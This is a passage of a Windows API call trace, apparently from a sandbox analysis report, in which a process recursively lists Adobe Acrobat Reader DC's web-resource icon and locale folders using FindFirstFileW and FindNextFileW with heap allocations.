lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon_2x.png", cAlternateFileName="RHP_WO~3.PNG")) returned 1 [0253.949] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x184, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon_hover.png", cAlternateFileName="RHP_WO~4.PNG")) returned 1 [0253.949] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon_hover_2x.png", cAlternateFileName="RHP_WO~1.PNG")) returned 1 [0253.949] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp_world_icon_hover_2x.png", cAlternateFileName="RHP_WO~1.PNG")) returned 0 [0253.950] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0253.951] GetProcessHeap () returned 0xc10000 [0253.951] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0253.951] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0253.951] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0253.952] GetProcessHeap () returned 0xc10000 [0253.952] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0253.952] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="themes", cAlternateFileName="")) returned 0 [0253.952] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0253.952] GetProcessHeap () returned 0xc10000 [0253.952] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0253.956] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0253.956] GetProcessHeap () returned 0xc10000 [0253.956] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0253.957] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\generic-rhp-app\\js\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0253.958] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.958] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nls", cAlternateFileName="")) returned 1 [0253.958] GetProcessHeap () returned 0xc10000 [0253.958] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0253.958] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\generic-rhp-app\\js\\nls\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0253.960] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.961] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0253.961] GetProcessHeap () returned 0xc10000 [0253.961] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0253.962] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\generic-rhp-app\\js\\nls\\da-dk\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a68 [0253.963] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.963] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0253.963] FindClose (in: hFindFile=0x33e4a68 | out: hFindFile=0x33e4a68) returned 1 [0253.964] GetProcessHeap () returned 0xc10000 [0253.964] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0253.964] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0253.964] GetProcessHeap () returned 0xc10000 [0253.964] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0253.964] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\generic-rhp-app\\js\\nls\\de-de\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0253.965] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.966] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0253.966] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0253.966] GetProcessHeap () returned 0xc10000 [0253.966] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0253.966] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0253.966] GetProcessHeap () returned 0xc10000 [0253.966] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0253.966] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\generic-rhp-app\\js\\nls\\en-gb\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0253.968] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.968] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0253.968] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0253.968] GetProcessHeap () returned 0xc10000 [0253.968] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0253.968] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0253.969] GetProcessHeap () returned 0xc10000 [0253.969] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0253.969] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\generic-rhp-app\\js\\nls\\es-es\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0253.970] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.970] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0253.970] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0253.970] GetProcessHeap () returned 0xc10000 [0253.970] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0253.971] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0253.971] GetProcessHeap () returned 0xc10000 [0253.971] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0253.971] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\generic-rhp-app\\js\\nls\\fi-fi\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0253.973] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.973] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0253.974] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0253.974] GetProcessHeap () returned 0xc10000 [0253.974] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0253.974] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0253.974] GetProcessHeap () returned 0xc10000 [0253.974] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0253.974] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\generic-rhp-app\\js\\nls\\fr-fr\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0253.976] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.976] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0253.976] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0253.977] GetProcessHeap () returned 0xc10000 [0253.977] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0253.977] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0253.977] GetProcessHeap () returned 0xc10000 [0253.977] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0253.977] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\generic-rhp-app\\js\\nls\\it-it\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0253.978] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0253.978] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, 